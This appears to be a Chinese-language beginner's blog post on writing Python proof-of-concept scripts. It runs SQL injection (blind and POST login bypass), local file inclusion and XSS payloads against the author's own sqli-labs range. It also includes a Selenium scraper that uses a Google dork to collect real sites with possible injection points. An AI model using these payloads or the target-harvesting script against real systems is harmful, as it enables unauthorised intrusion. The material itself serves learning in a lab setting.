学习了poc和exp,好玩儿。。。还没怎么学好只能拿自己的靶场试试水。如有问题请大佬多多指教,笔芯芯♥~
0x00 POC概念
0x01 POC编写框架
1. Pocsuite
2. Tangscan
3. Bugscan
0x02 盲注练习---sql-labs-master 第五关
1. 判断注入闭合方式
import requests
def verify(url):
payload1 = "?id=1' and 1=1 --+"
payload2 = "?id=1' and 1=2 --+"
resp1 = requests.get(url+payload1)
resp2 = requests.get(url+payload2)
text1 = resp1.text
text2 = resp2.text
print(text2)
if ('You are in' in text1) and ('You are in' not in text2):
print(url,':存在单引号闭合的sql注入(盲注)')
else:
print(url,':不存在单引号闭合的sql注入(盲注)')
verify('http://192.168.30.164/sqli/Less-5/')
2.判断数据库长度 ==》数据库名字最长为64 数据表名字最长为64 字段名字最长为64
import requests
def verify(url):
for i in range(1,20):
payload1 = "?id=1' and length(database())={} --+".format(i)
resp1 = requests.get(url+payload1)
text1 = resp1.text
if 'You are in' in text1:
print('database长度为:%s'%i)
break
if __name__=='__main__':
url = "http://192.168.30.164/sqli/Less-5/"
verify(url)
3.判断数据库名
'''
exp的小练习啦
布尔盲注:http://192.168.30.164/sqli/Less-5/
You are in
'''
import requests
def verify(url):
# length = []
for i in range(1,8):
list = 'abcdefghijklmnopqrstuvwxyz'
for k in range(1,26):
j = list[k]
# payload1 = "?id=1' and length(database())={} --+".format(i)
payload1 = "?id=1' and substr(database(),{},1)='{}' --+".format(i,j)
resp1 = requests.get(url+payload1)
text1 = resp1.text
if 'You are in' in text1:
print('database为:%s'%j)
break
if __name__=='__main__':
url = "http://192.168.30.164/sqli/Less-5/"
verify(url)
0x03 post型练习---sql-labs-master 第十一关
post型的SQL注入,需要在获取其url的基础上再获取表单中传的值,具体可通过burpsuite来抓包进行分析获得。在python中将所传的值放入请求以键值对的形式上传。
'''Post pochttp://192.168.30.164/sqli/Less-11/'''
import requests
url = "http://192.168.30.164/sqli/Less-11/"
payloads = "admin' or '1'='1 #"
response = requests.post(url,data={'uname':payloads,'passwd':123})
html = response.text
print(html)
if 'Your Login name' in html:
print('Post注入')
0x04 POC的文件包含练习
文件包含:
· 本地文件包含 =》http://127.0.0.1/1/lfi.php?file=phpinfo.txt
· 远程文件包含 =》需要开启 allow_url_include,默认是off。远程文件包含
?file=http://远程文件地址
"""文件包含 poc
http://127.0.0.1/1/lfi.php?file=phpinfo.txt
"""
import requests
def verify(url):
payload = '?file=phpinfo.txt'
reaponse = requests.get(url+payload)
html_str = reaponse.text
if 'PHP Version' in html_str:
print('存在本地文件包含')
else:
print('不存在')
if __name__ == '__main__':
verify(url="http://127.0.0.1/1/lfi.php")
0x05 POC的XSS练习
XSS是除SQL注入外第二大的漏洞,类别有:反射型XSS,存储型XSS,DOM型XSS。
XSS可以做什么:
· 蠕虫 ==》帅的一批
· 获取cookie
· 获取被攻击者真实ip:javascript 本身不具备此功能
· 识别用户安装的软件
· XSS钓鱼
· 截图
· 键盘记录
· 访问浏览器的访问记录
· 内网扫描
"""
xss跨站脚本攻击
弹窗
http://127.0.0.1/1/xss.php?title=%3C/title%3E%3Cscript%3Ealert(123)%3C/script%3E
"""
import requests
import re
def POC():
response = requests.get('http://127.0.0.1/1/xss.php?title=</title><script>alert(123)</script>')
res = response.text
if re.search('alert(123)',res):
return True
else:
return False
if __name__ == '__main__':
print(POC())
0x06 谷歌语法:通过inurl=php?id=1来搜索出可能含有注入点的网站
1.谷歌语法
site:可以限制你搜索范围的域名.
inurl:用于搜索网页上包含的URL,对寻找网页上的搜索,帮助之类的很有用.
intext: 只搜索网页<body>部分中包含的文字(也就忽略了标题、URL等的文字)
intitle: 查包含关键词的页面,一般用于社工别人的webshell密码
filetype:搜索文件的后缀或者扩展名
intitle:限制你搜索的网页标题.
link: 可以得到一个所有包含了某个指定URL的页面列表.
2.google语法模拟点击
"""
selenium爬虫
1.通过google语法批量获取 php?id=1 d的url
2.url存到文件中:urls.txt
"""
from selenium import webdriver
import time
import re
# #设置无头
# chrome_option =
dirver = webdriver.Chrome(r'G:pythonfilechromedriver.exe') #创建谷歌浏览器对象,打开谷歌浏览器
dirver.get('https://www.google.com/search?q=inurl:php?id=1')
for i in range(10):
time.sleep(1.5)
dirver.execute_script('window.scrollTo(0,document.body.scrollHeight)')
html_str = dirver.page_source # 获取源码
#数据解析
# test = dirver.find_element_by_xpath('//a[@id="pnnext"]/span[2]')
pattern = re.compile('<div class="r"><a href="(.*?)"',re.S)
#点击下一页
# test = dirver.find_element_by_link_text('下一页')
test = dirver.find_element_by_class_name('r')[0] #定位到一个元素
result = re.findall(pattern,html_str)
test.click() # 模拟点击
print(result)
dirver.close() #关闭浏览器
0x07 Selenium实现模拟登录
1.selenium
2.selenium实现模拟登录
"""selenium实现模拟登录"""
from selenium import webdriver
import time
driver = webdriver.Chrome() #Chrome()是一个对象来着
url = 'http://192.168.30.164/sqli/Less-11/'
driver.get(url)
print(driver.page_source)
username = driver.find_element_by_xpath('/html/body/div[2]/div/form/div[1]/input')
password = driver.find_element_by_xpath('/html/body/div[2]/div/form/div[2]/input')
submit = driver.find_element_by_xpath('//form/div[3]/input') #双斜杠指从任意位置到当前的位置
username.clear()
username.send_keys('admin')
time.sleep(1)
password.clear()
password.send_keys('admin')
time.sleep(1)
submit.click()
time.sleep(5)
driver.close()
奉上所有python的学习资料(视频和编程语言api文档的链接),后台回复“python学习包”,即可获得啦~~~
本文始发于微信公众号(凌晨安全):Python学习之路----初探exp
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论